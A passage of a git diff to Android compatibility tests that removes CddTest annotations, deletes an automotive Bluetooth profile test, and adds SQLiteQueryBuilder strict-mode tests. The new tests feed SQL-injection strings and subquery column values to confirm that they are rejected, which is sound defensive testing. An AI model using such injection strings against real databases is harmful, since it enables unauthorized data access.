+ runShellCommand(REVOKE_BIND_APP_WIDGET_PERMISSION_COMMAND);
}
private AppWidgetProviderInfo getFirstAppWidgetProviderInfo() {
diff --git a/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java b/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
index a951fc0..139cd68 100644
--- a/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
+++ b/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
@@ -58,7 +58,7 @@
* receiver.
*/
@Test
- @CddTest(requirement="3.5/C-0-6,3.2.3.4/C-0-1")
+ @CddTest(requirement="3.5/C-0-6")
public void testNonSupportedBroadcastsNotDelivered_runtimeReceiver() throws Exception {
// Need a reference here to initialize it in a lambda.
@@ -86,7 +86,7 @@
*/
@AppModeFull(reason = "Instant apps don't get to run in the background.")
@Test
- @CddTest(requirement="3.5/C-0-6,3.2.3.4/C-0-1")
+ @CddTest(requirement="3.5/C-0-6")
public void testNonSupportedBroadcastsNotDelivered_manifestReceiver() throws Exception {
// Need a reference here to initialize it in a lambda.
final AtomicReference<BroadcastReceiver> receiverRef = new AtomicReference<>();
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
index cbfaca9..e7f0c62 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
@@ -15,7 +15,6 @@
*/
package android.os.cts.batterysaving;
-import static com.android.compatibility.common.util.BatteryUtils.enableBatterySaver;
import static com.android.compatibility.common.util.BatteryUtils.runDumpsysBatteryReset;
import static com.android.compatibility.common.util.BatteryUtils.turnOnScreen;
import static com.android.compatibility.common.util.SystemUtil.runCommandAndPrintOnLogcat;
@@ -70,7 +69,6 @@
@Override
protected void onAfter(Statement base, Description description) throws Throwable {
- enableBatterySaver(false);
runDumpsysBatteryReset();
turnOnScreen(true);
}
diff --git a/tests/tests/car/AndroidManifest.xml b/tests/tests/car/AndroidManifest.xml
index 6399af5..f1df507 100644
--- a/tests/tests/car/AndroidManifest.xml
+++ b/tests/tests/car/AndroidManifest.xml
@@ -21,8 +21,6 @@
<uses-permission android:name="android.car.permission.CAR_INFO" />
<uses-permission android:name="android.car.permission.CAR_POWERTRAIN" />
<uses-permission android:name="android.car.permission.CAR_SPEED" />
- <uses-permission android:name="android.permission.BLUETOOTH" />
- <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
<application>
<uses-library android:name="android.test.runner" />
<activity android:name=".drivingstate.DistractionOptimizedActivity">
diff --git a/tests/tests/car/src/android/car/cts/CarBluetoothTest.java b/tests/tests/car/src/android/car/cts/CarBluetoothTest.java
deleted file mode 100644
index ac12ce4..0000000
--- a/tests/tests/car/src/android/car/cts/CarBluetoothTest.java
+++ /dev/null
@@ -1,365 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.car.cts;
-
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
-
-import android.bluetooth.BluetoothAdapter;
-import android.bluetooth.BluetoothManager;
-import android.bluetooth.BluetoothProfile;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.suitebuilder.annotation.SmallTest;
-import android.util.Log;
-import android.util.SparseArray;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.FeatureUtil;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.locks.Condition;
-import java.util.concurrent.locks.ReentrantLock;
-
-/**
- * Contains the tests to prove compliance with android automotive specific bluetooth requirements.
- */
-@SmallTest
-@RequiresDevice
-@RunWith(AndroidJUnit4.class)
-public class CarBluetoothTest {
- private static final String TAG = "CarBluetoothTest";
- private static final boolean DBG = false;
- private Context mContext;
-
- // Bluetooth Core objects
- private BluetoothManager mBluetoothManager;
- private BluetoothAdapter mBluetoothAdapter;
-
- // Timeout for waiting for an adapter state change
- private static final int BT_ADAPTER_TIMEOUT_MS = 8000; // ms
-
- // Objects to block until the adapter has reached a desired state
- private ReentrantLock mBluetoothAdapterLock;
- private Condition mConditionAdapterStateReached;
- private int mDesiredState;
- private int mOriginalState;
-
- /**
- * Handles BluetoothAdapter state changes and signals when we've reached a desired state
- */
- private class BluetoothAdapterReceiver extends BroadcastReceiver {
- @Override
- public void onReceive(Context context, Intent intent) {
-
- // Decode the intent
- String action = intent.getAction();
-
- // Watch for BluetoothAdapter intents only
- if (BluetoothAdapter.ACTION_STATE_CHANGED.equals(action)) {
- int newState = intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1);
- if (DBG) {
- Log.d(TAG, "Bluetooth adapter state changed: " + newState);
- }
-
- // Signal if the state is set to the one we're waiting on. If its not and we got a
- // STATE_OFF event then handle the unexpected off event. Note that we could
- // proactively turn the adapter back on to continue testing. For now we'll just
- // log it
- mBluetoothAdapterLock.lock();
- try {
- if (mDesiredState == newState) {
- mConditionAdapterStateReached.signal();
- } else if (newState == BluetoothAdapter.STATE_OFF) {
- Log.w(TAG, "Bluetooth turned off unexpectedly while test was running.");
- }
- } finally {
- mBluetoothAdapterLock.unlock();
- }
- }
- }
- }
- private BluetoothAdapterReceiver mBluetoothAdapterReceiver;
-
- private void waitForAdapterOn() {
- if (DBG) {
- Log.d(TAG, "Waiting for adapter to be on...");
- }
- waitForAdapterState(BluetoothAdapter.STATE_ON);
- }
-
- private void waitForAdapterOff() {
- if (DBG) {
- Log.d(TAG, "Waiting for adapter to be off...");
- }
- waitForAdapterState(BluetoothAdapter.STATE_OFF);
- }
-
- // Wait for the bluetooth adapter to be in a given state
- private void waitForAdapterState(int desiredState) {
- if (DBG) {
- Log.d(TAG, "Waiting for adapter state " + desiredState);
- }
- mBluetoothAdapterLock.lock();
- try {
- // Update the desired state so that we'll signal when we get there
- mDesiredState = desiredState;
- if (desiredState == BluetoothAdapter.STATE_ON) {
- mBluetoothAdapter.enable();
- } else {
- mBluetoothAdapter.disable();
- }
-
- // Wait until we're reached that desired state
- while (desiredState != mBluetoothAdapter.getState()) {
- if (!mConditionAdapterStateReached.await(
- BT_ADAPTER_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
- Log.e(TAG, "Timeout while waiting for Bluetooth adapter state " + desiredState);
- break;
- }
- }
- } catch (InterruptedException e) {
- Log.w(TAG, "waitForAdapterState(" + desiredState + "): interrupted", e);
- } finally {
- mBluetoothAdapterLock.unlock();
- }
- }
-
- // Utility class to hold profile information and state
- private static class ProfileInfo {
- final String mName;
- boolean mConnected;
-
- public ProfileInfo(String name) {
- mName = name;
- mConnected = false;
- }
- }
-
- // Automotive required profiles and meta data. Profile defaults to 'not connected' and name
- // is used in debug and error messages
- private static SparseArray<ProfileInfo> sRequiredBluetoothProfiles = new SparseArray();
- static {
- sRequiredBluetoothProfiles.put(BluetoothProfile.A2DP_SINK,
- new ProfileInfo("A2DP Sink")); // 11
- sRequiredBluetoothProfiles.put(BluetoothProfile.AVRCP_CONTROLLER,
- new ProfileInfo("AVRCP Controller")); // 12
- sRequiredBluetoothProfiles.put(BluetoothProfile.HEADSET_CLIENT,
- new ProfileInfo("HSP Client")); // 16
- sRequiredBluetoothProfiles.put(BluetoothProfile.PBAP_CLIENT,
- new ProfileInfo("PBAP Client")); // 17
- }
- private static final int MAX_PROFILES_SUPPORTED = sRequiredBluetoothProfiles.size();
-
- // Configurable timeout for waiting for profile proxies to connect
- private static final int PROXY_CONNECTIONS_TIMEOUT_MS = 1000; // ms
-
- // Objects to block until all profile proxy connections have finished, or the timeout occurs
- private Condition mConditionAllProfilesConnected;
- private ReentrantLock mProfileConnectedLock;
- private int mProfilesSupported;
-
- // Capture profile proxy connection events
- private final class ProfileServiceListener implements BluetoothProfile.ServiceListener {
- @Override
- public void onServiceConnected(int profile, BluetoothProfile proxy) {
- if (DBG) {
- Log.d(TAG, "Profile '" + profile + "' has connected");
- }
- mProfileConnectedLock.lock();
- try {
- sRequiredBluetoothProfiles.get(profile).mConnected = true;
- mProfilesSupported++;
- if (mProfilesSupported == MAX_PROFILES_SUPPORTED) {
- mConditionAllProfilesConnected.signal();
- }
- } finally {
- mProfileConnectedLock.unlock();
- }
- }
-
- @Override
- public void onServiceDisconnected(int profile) {
- if (DBG) {
- Log.d(TAG, "Profile '" + profile + "' has disconnected");
- }
- mProfileConnectedLock.lock();
- try {
- sRequiredBluetoothProfiles.get(profile).mConnected = false;
- mProfilesSupported--;
- } finally {
- mProfileConnectedLock.unlock();
- }
- }
- }
-
- // Initiate connections to all profiles and wait until we connect to all, or time out
- private void waitForProfileConnections() {
- if (DBG) {
- Log.d(TAG, "Starting profile proxy connections...");
- }
- mProfileConnectedLock.lock();
- try {
- // Attempt connection to each required profile
- for (int i = 0; i < sRequiredBluetoothProfiles.size(); i++) {
- int profile = sRequiredBluetoothProfiles.keyAt(i);
- mBluetoothAdapter.getProfileProxy(mContext, new ProfileServiceListener(), profile);
- }
-
- // Wait for the Adapter to be disabled
- while (mProfilesSupported != MAX_PROFILES_SUPPORTED) {
- if (!mConditionAllProfilesConnected.await(
- PROXY_CONNECTIONS_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
- Log.e(TAG, "Timeout while waiting for Profile Connections");
- break;
- }
- }
- } catch (InterruptedException e) {
- Log.w(TAG, "waitForProfileConnections: interrupted", e);
- } finally {
- mProfileConnectedLock.unlock();
- }
-
- if (DBG) {
- Log.d(TAG, "Proxy connection attempts complete. Connected " + mProfilesSupported
- + "/" + MAX_PROFILES_SUPPORTED + " profiles");
- }
- }
-
- // Check and make sure each profile is connected. If any are not supported then build an
- // error string to report each missing profile and assert a failure
- private void checkProfileConnections() {
- if (DBG) {
- Log.d(TAG, "Checking for all required profiles");
- }
- mProfileConnectedLock.lock();
- try {
- if (mProfilesSupported != MAX_PROFILES_SUPPORTED) {
- if (DBG) {
- Log.d(TAG, "Some profiles failed to connect");
- }
- StringBuilder e = new StringBuilder();
- for (int i = 0; i < sRequiredBluetoothProfiles.size(); i++) {
- int profile = sRequiredBluetoothProfiles.keyAt(i);
- String name = sRequiredBluetoothProfiles.get(profile).mName;
- if (!sRequiredBluetoothProfiles.get(profile).mConnected) {
- if (e.length() == 0) {
- e.append("Missing Profiles: ");
- } else {
- e.append(", ");
- }
- e.append(name + " (" + profile + ")");
-
- if (DBG) {
- Log.d(TAG, name + " failed to connect");
- }
- }
- }
- fail(e.toString());
- }
- } finally {
- mProfileConnectedLock.unlock();
- }
- }
-
- // Set the connection status for each profile to false
- private void clearProfileStatuses() {
- if (DBG) {
- Log.d(TAG, "Setting all profiles to 'disconnected'");
- }
- for (int i = 0; i < sRequiredBluetoothProfiles.size(); i++) {
- int profile = sRequiredBluetoothProfiles.keyAt(i);
- sRequiredBluetoothProfiles.get(profile).mConnected = false;
- }
- }
-
- @Before
- public void setUp() throws Exception {
- if (DBG) {
- Log.d(TAG, "Setting up Automotive Bluetooth test. Device is "
- + (FeatureUtil.isAutomotive() ? "" : "not ") + "automotive");
- }
-
- // Automotive only
- assumeTrue(FeatureUtil.isAutomotive());
-
- // Get the context
- mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
-
- // Get bluetooth core objects so we can get proxies/check for profile existence
- mBluetoothManager = (BluetoothManager) mContext.getSystemService(
- Context.BLUETOOTH_SERVICE);
- mBluetoothAdapter = mBluetoothManager.getAdapter();
-
- // Initialize all the profile connection variables
- mProfilesSupported = 0;
- mProfileConnectedLock = new ReentrantLock();
- mConditionAllProfilesConnected = mProfileConnectedLock.newCondition();
- clearProfileStatuses();
-
- // Register the adapter receiver and initialize adapter state wait objects
- mDesiredState = -1; // Set and checked by waitForAdapterState()
- mBluetoothAdapterLock = new ReentrantLock();
- mConditionAdapterStateReached = mBluetoothAdapterLock.newCondition();
- mBluetoothAdapterReceiver = new BluetoothAdapterReceiver();
- IntentFilter filter = new IntentFilter(BluetoothAdapter.ACTION_STATE_CHANGED);
- mContext.registerReceiver(mBluetoothAdapterReceiver, filter);
-
- // Make sure Bluetooth is enabled before the test
- waitForAdapterOn();
- assertTrue(mBluetoothAdapter.isEnabled());
- }
-
- @After
- public void tearDown() {
- waitForAdapterOff();
- mContext.unregisterReceiver(mBluetoothAdapterReceiver);
- }
-
- // [A-0-2] : Android Automotive devices must support the following Bluetooth profiles:
- // * Hands Free Profile (HFP) [Phone calling]
- // * Audio Distribution Profile (A2DP) [Media playback]
- // * Audio/Video Remote Control Profile (AVRCP) [Media playback control]
- // * Phone Book Access Profile (PBAP) [Contact sharing/receiving]
- //
- // This test fires off connections to each required profile (which are asynchronous in nature)
- // and waits for all of them to connect (proving they are there and implemented), or for the
- // configured timeout. If all required profiles connect, the test passes.
- @Test
- @CddTest(requirement = "7.4.3/A-0-2")
- public void testRequiredBluetoothProfilesExist() throws Exception {
- if (DBG) {
- Log.d(TAG, "Begin testRequiredBluetoothProfilesExist()");
- }
- assertNotNull(mBluetoothAdapter);
- waitForProfileConnections();
- checkProfileConnections();
- }
-}
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index 064bf0b..7ded622 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -33,7 +33,6 @@
import android.telecom.TelecomManager;
import android.test.AndroidTestCase;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.FeatureUtil;
import java.util.List;
@@ -75,7 +74,6 @@
* Test ACTION_VIEW when url is http://web_address,
* it will open a browser window to the URL specified.
*/
- @CddTest(requirement="3.2.3.1/C-0-1")
public void testViewNormalUrl() {
Uri uri = Uri.parse(NORMAL_URL);
Intent intent = new Intent(Intent.ACTION_VIEW, uri);
@@ -86,7 +84,6 @@
* Test ACTION_VIEW when url is https://web_address,
* it will open a browser window to the URL specified.
*/
- @CddTest(requirement="3.2.3.1/C-0-1")
public void testViewSecureUrl() {
Uri uri = Uri.parse(SECURE_URL);
Intent intent = new Intent(Intent.ACTION_VIEW, uri);
@@ -97,7 +94,6 @@
* Test ACTION_WEB_SEARCH when url is http://web_address,
* it will open a browser window to the URL specified.
*/
- @CddTest(requirement="3.2.3.1/C-0-1")
public void testWebSearchNormalUrl() {
Uri uri = Uri.parse(NORMAL_URL);
Intent intent = new Intent(Intent.ACTION_WEB_SEARCH);
@@ -109,7 +105,6 @@
* Test ACTION_WEB_SEARCH when url is https://web_address,
* it will open a browser window to the URL specified.
*/
- @CddTest(requirement="3.2.3.1/C-0-1")
public void testWebSearchSecureUrl() {
Uri uri = Uri.parse(SECURE_URL);
Intent intent = new Intent(Intent.ACTION_WEB_SEARCH);
@@ -189,7 +184,6 @@
/**
* Test ACTION_SHOW_CALL_SETTINGS, it will display the call preferences.
*/
- @CddTest(requirement="3.2.3.1/C-0-1")
public void testShowCallSettings() {
PackageManager packageManager = mContext.getPackageManager();
if (packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
@@ -201,7 +195,6 @@
/**
* Test ACTION_SHOW_RESPOND_VIA_SMS_SETTINGS, it will display the respond by SMS preferences.
*/
- @CddTest(requirement="3.2.3.1/C-0-1")
public void testShowRespondViaSmsSettings() {
PackageManager packageManager = mContext.getPackageManager();
if (packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
@@ -213,7 +206,6 @@
/**
* Test start camera by intent
*/
- @CddTest(requirement="3.2.3.1/C-0-1")
public void testCamera() {
PackageManager packageManager = mContext.getPackageManager();
if (packageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA)
@@ -232,7 +224,6 @@
}
}
- @CddTest(requirement="3.2.3.1/C-0-1")
public void testSettings() {
assertCanBeHandled(new Intent(Settings.ACTION_SETTINGS));
}
@@ -240,7 +231,6 @@
/**
* Test add event in calendar
*/
- @CddTest(requirement="3.2.3.1/C-0-1")
public void testCalendarAddAppointment() {
Intent addAppointmentIntent = new Intent(Intent.ACTION_EDIT);
addAppointmentIntent.setType("vnd.android.cursor.item/event");
@@ -250,7 +240,6 @@
/**
* Test view call logs
*/
- @CddTest(requirement="3.2.3.1/C-0-1")
public void testContactsCallLogs() {
PackageManager packageManager = mContext.getPackageManager();
if (packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
@@ -263,7 +252,6 @@
/**
* Test view music playback
*/
- @CddTest(requirement="3.2.3.1/C-0-1")
public void testMusicPlayback() {
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setDataAndType(ContentUris.withAppendedId(
@@ -271,7 +259,6 @@
assertCanBeHandled(intent);
}
- @CddTest(requirement="3.2.3.1/C-0-1")
public void testAlarmClockSetAlarm() {
Intent intent = new Intent(AlarmClock.ACTION_SET_ALARM);
intent.putExtra(AlarmClock.EXTRA_MESSAGE, "Custom message");
@@ -280,20 +267,17 @@
assertCanBeHandled(intent);
}
- @CddTest(requirement="3.2.3.1/C-0-1")
public void testAlarmClockSetTimer() {
Intent intent = new Intent(AlarmClock.ACTION_SET_TIMER);
intent.putExtra(AlarmClock.EXTRA_LENGTH, 60000);
assertCanBeHandled(intent);
}
- @CddTest(requirement="3.2.3.1/C-0-1")
public void testAlarmClockShowAlarms() {
Intent intent = new Intent(AlarmClock.ACTION_SHOW_ALARMS);
assertCanBeHandled(intent);
}
- @CddTest(requirement="3.2.3.1/C-0-1")
public void testAlarmClockShowTimers() {
if (mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY)) {
return;
diff --git a/tests/tests/content/src/android/content/cts/ContentProviderTest.java b/tests/tests/content/src/android/content/cts/ContentProviderTest.java
index 95f4611..dc4a031 100644
--- a/tests/tests/content/src/android/content/cts/ContentProviderTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentProviderTest.java
@@ -29,8 +29,6 @@
import android.content.cts.R;
-import com.android.compatibility.common.util.CddTest;
-
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
@@ -38,7 +36,6 @@
/**
* Test {@link ContentProvider}.
*/
-@CddTest(requirement="3.5/C-0-2")
public class ContentProviderTest extends AndroidTestCase {
private static final String TEST_PACKAGE_NAME = "android.content.cts";
private static final String TEST_FILE_NAME = "testFile.tmp";
diff --git a/tests/tests/content/src/android/content/cts/ContextWrapperTest.java b/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
index b2b5753..a01e9e0 100644
--- a/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
+++ b/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
@@ -18,7 +18,6 @@
import android.content.cts.R;
-import android.app.WallpaperManager;
import android.content.ActivityNotFoundException;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
@@ -266,8 +265,6 @@
}
public void testAccessWallpaper() throws IOException, InterruptedException {
- if (!isWallpaperSupported()) return;
-
// set Wallpaper by contextWrapper#setWallpaper(Bitmap)
Bitmap bitmap = Bitmap.createBitmap(20, 30, Bitmap.Config.RGB_565);
// Test getWallpaper
@@ -502,8 +499,6 @@
}
public void testGetWallpaperDesiredMinimumHeightAndWidth() {
- if (!isWallpaperSupported()) return;
-
int height = mContextWrapper.getWallpaperDesiredMinimumHeight();
int width = mContextWrapper.getWallpaperDesiredMinimumWidth();
@@ -837,10 +832,6 @@
}
}
- private boolean isWallpaperSupported() {
- return WallpaperManager.getInstance(mContext).isWallpaperSupported();
- }
-
private static final class MockContextWrapper extends ContextWrapper {
public MockContextWrapper(Context base) {
super(base);
diff --git a/tests/tests/content/src/android/content/cts/IntentTest.java b/tests/tests/content/src/android/content/cts/IntentTest.java
index 51684ae..af53e56 100644
--- a/tests/tests/content/src/android/content/cts/IntentTest.java
+++ b/tests/tests/content/src/android/content/cts/IntentTest.java
@@ -39,7 +39,6 @@
import android.util.Xml;
import com.android.content.cts.DummyParcelable;
-import com.android.compatibility.common.util.CddTest;
import java.io.IOException;
import java.io.Serializable;
@@ -48,7 +47,6 @@
import java.util.Objects;
import java.util.Set;
-@CddTest(requirement="3.5/C-0-1")
public class IntentTest extends AndroidTestCase {
private Intent mIntent;
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java
index 97b0b8f..4479a5d 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java
@@ -18,6 +18,7 @@
import android.content.Context;
+import android.content.ContentValues;
import android.database.Cursor;
import android.database.sqlite.SQLiteCursor;
import android.database.sqlite.SQLiteCursorDriver;
@@ -28,12 +29,15 @@
import android.os.OperationCanceledException;
import android.test.AndroidTestCase;
+import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.Semaphore;
public class SQLiteQueryBuilderTest extends AndroidTestCase {
private SQLiteDatabase mDatabase;
+ private SQLiteQueryBuilder mStrictBuilder;
+
private final String TEST_TABLE_NAME = "test";
private final String EMPLOYEE_TABLE_NAME = "employee";
private static final String DATABASE_FILE = "database_test.db";
@@ -45,6 +49,9 @@
getContext().deleteDatabase(DATABASE_FILE);
mDatabase = getContext().openOrCreateDatabase(DATABASE_FILE, Context.MODE_PRIVATE, null);
assertNotNull(mDatabase);
+
+ createEmployeeTable();
+ createStrictQueryBuilder();
}
@Override
@@ -202,8 +209,6 @@
}
public void testQuery() {
- createEmployeeTable();
-
SQLiteQueryBuilder sqliteQueryBuilder = new SQLiteQueryBuilder();
sqliteQueryBuilder.setTables("Employee");
Cursor cursor = sqliteQueryBuilder.query(mDatabase,
@@ -276,8 +281,6 @@
}
public void testCancelableQuery_WhenNotCanceled_ReturnsResultSet() {
- createEmployeeTable();
-
CancellationSignal cancellationSignal = new CancellationSignal();
SQLiteQueryBuilder sqliteQueryBuilder = new SQLiteQueryBuilder();
sqliteQueryBuilder.setTables("Employee");
@@ -289,8 +292,6 @@
}
public void testCancelableQuery_WhenCanceledBeforeQuery_ThrowsImmediately() {
- createEmployeeTable();
-
CancellationSignal cancellationSignal = new CancellationSignal();
SQLiteQueryBuilder sqliteQueryBuilder = new SQLiteQueryBuilder();
sqliteQueryBuilder.setTables("Employee");
@@ -307,8 +308,6 @@
}
public void testCancelableQuery_WhenCanceledAfterQuery_ThrowsWhenExecuted() {
- createEmployeeTable();
-
CancellationSignal cancellationSignal = new CancellationSignal();
SQLiteQueryBuilder sqliteQueryBuilder = new SQLiteQueryBuilder();
sqliteQueryBuilder.setTables("Employee");
@@ -327,8 +326,6 @@
}
public void testCancelableQuery_WhenCanceledDueToContention_StopsWaitingAndThrows() {
- createEmployeeTable();
-
for (int i = 0; i < 5; i++) {
final CancellationSignal cancellationSignal = new CancellationSignal();
final Semaphore barrier1 = new Semaphore(0);
@@ -460,6 +457,152 @@
fail("Could not prove that the query actually canceled midway during execution.");
}
+ public void testStrictQuery() throws Exception {
+ final SQLiteQueryBuilder qb = mStrictBuilder;
+
+ // Should normally only be able to see one row
+ try (Cursor c = qb.query(mDatabase, null, null, null, null, null, null)) {
+ assertEquals(1, c.getCount());
+ }
+
+ // Trying sneaky queries should fail; even if they somehow succeed, we
+ // shouldn't get to see any other data.
+ try (Cursor c = qb.query(mDatabase, null, "1=1", null, null, null, null)) {
+ assertEquals(1, c.getCount());
+ } catch (Exception tolerated) {
+ }
+ try (Cursor c = qb.query(mDatabase, null, "1=1 --", null, null, null, null)) {
+ assertEquals(1, c.getCount());
+ } catch (Exception tolerated) {
+ }
+ try (Cursor c = qb.query(mDatabase, null, "1=1) OR (1=1", null, null, null, null)) {
+ assertEquals(1, c.getCount());
+ } catch (Exception tolerated) {
+ }
+ try (Cursor c = qb.query(mDatabase, null, "1=1)) OR ((1=1", null, null, null, null)) {
+ assertEquals(1, c.getCount());
+ } catch (Exception tolerated) {
+ }
+ }
+
+ private static final String[] COLUMNS_VALID = new String[] {
+ "_id",
+ };
+
+ private static final String[] COLUMNS_INVALID = new String[] {
+ "salary",
+ "MAX(salary)",
+ "undefined",
+ "(secret_column IN secret_table)",
+ "(SELECT secret_column FROM secret_table)",
+ };
+
+ public void testStrictQueryProjection() throws Exception {
+ for (String column : COLUMNS_VALID) {
+ assertStrictQueryValid(
+ new String[] { column }, null, null, null, null, null, null);
+ }
+ for (String column : COLUMNS_INVALID) {
+ assertStrictQueryInvalid(
+ new String[] { column }, null, null, null, null, null, null);
+ }
+ }
+
+ public void testStrictQueryWhere() throws Exception {
+ for (String column : COLUMNS_VALID) {
+ assertStrictQueryValid(
+ null, column + ">0", null, null, null, null, null);
+ assertStrictQueryValid(
+ null, "_id>" + column, null, null, null, null, null);
+ }
+ for (String column : COLUMNS_INVALID) {
+ assertStrictQueryInvalid(
+ null, column + ">0", null, null, null, null, null);
+ assertStrictQueryInvalid(
+ null, "_id>" + column, null, null, null, null, null);
+ }
+ }
+
+ public void testStrictQueryGroupBy() {
+ for (String column : COLUMNS_VALID) {
+ assertStrictQueryValid(
+ null, null, null, column, null, null, null);
+ assertStrictQueryValid(
+ null, null, null, "_id," + column, null, null, null);
+ }
+ for (String column : COLUMNS_INVALID) {
+ assertStrictQueryInvalid(
+ null, null, null, column, null, null, null);
+ assertStrictQueryInvalid(
+ null, null, null, "_id," + column, null, null, null);
+ }
+ }
+
+ public void testStrictQueryHaving() {
+ for (String column : COLUMNS_VALID) {
+ assertStrictQueryValid(
+ null, null, null, "_id", column, null, null);
+ }
+ for (String column : COLUMNS_INVALID) {
+ assertStrictQueryInvalid(
+ null, null, null, "_id", column, null, null);
+ }
+ }
+
+ public void testStrictQueryOrderBy() {
+ for (String column : COLUMNS_VALID) {
+ assertStrictQueryValid(
+ null, null, null, null, null, column, null);
+ assertStrictQueryValid(
+ null, null, null, null, null, column + " ASC", null);
+ assertStrictQueryValid(
+ null, null, null, null, null, "_id COLLATE NOCASE ASC," + column, null);
+ }
+ for (String column : COLUMNS_INVALID) {
+ assertStrictQueryInvalid(
+ null, null, null, null, null, column, null);
+ assertStrictQueryInvalid(
+ null, null, null, null, null, column + " ASC", null);
+ assertStrictQueryInvalid(
+ null, null, null, null, null, "_id COLLATE NOCASE ASC," + column, null);
+ }
+ }
+
+ public void testStrictQueryLimit() {
+ assertStrictQueryValid(
+ null, null, null, null, null, null, "32");
+ assertStrictQueryValid(
+ null, null, null, null, null, null, "0,32");
+ assertStrictQueryValid(
+ null, null, null, null, null, null, "32 OFFSET 0");
+
+ for (String column : COLUMNS_VALID) {
+ assertStrictQueryInvalid(
+ null, null, null, null, null, null, column);
+ }
+ for (String column : COLUMNS_INVALID) {
+ assertStrictQueryInvalid(
+ null, null, null, null, null, null, column);
+ }
+ }
+
+ private void assertStrictQueryValid(String[] projectionIn, String selection,
+ String[] selectionArgs, String groupBy, String having, String sortOrder, String limit) {
+ try (Cursor c = mStrictBuilder.query(mDatabase, projectionIn, selection, selectionArgs,
+ groupBy, having, sortOrder, limit, null)) {
+ }
+ }
+
+ private void assertStrictQueryInvalid(String[] projectionIn, String selection,
+ String[] selectionArgs, String groupBy, String having, String sortOrder, String limit) {
+ try (Cursor c = mStrictBuilder.query(mDatabase, projectionIn, selection, selectionArgs,
+ groupBy, having, sortOrder, limit, null)) {
+ fail(Arrays.asList(projectionIn, selection, selectionArgs,
+ groupBy, having, sortOrder, limit).toString());
+ } catch (Exception expected) {
+ }
+ }
+
private void createEmployeeTable() {
mDatabase.execSQL("CREATE TABLE employee (_id INTEGER PRIMARY KEY, " +
"name TEXT, month INTEGER, salary INTEGER);");
@@ -476,4 +619,17 @@
mDatabase.execSQL("INSERT INTO employee (name, month, salary) " +
"VALUES ('Jim', '3', '3500');");
}
+
+ private void createStrictQueryBuilder() {
+ mStrictBuilder = new SQLiteQueryBuilder();
+ mStrictBuilder.setTables("employee");
+ mStrictBuilder.setStrict(true);
+ mStrictBuilder.appendWhere("month=2");
+
+ final Map<String, String> projectionMap = new HashMap<>();
+ projectionMap.put("_id", "_id");
+ projectionMap.put("name", "name");
+ projectionMap.put("month", "month");
+ mStrictBuilder.setProjectionMap(projectionMap);
+ }
}
diff --git a/tests/tests/display/Android.mk b/tests/tests/display/Android.mk
index 99efc20..ef87dcf 100644
--- a/tests/tests/display/Android.mk
+++ b/tests/tests/display/Android.mk
@@ -32,7 +32,7 @@
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant sts
LOCAL_PACKAGE_NAME := CtsDisplayTestCases
diff --git a/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java b/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
index 872de91..bf6e472 100644
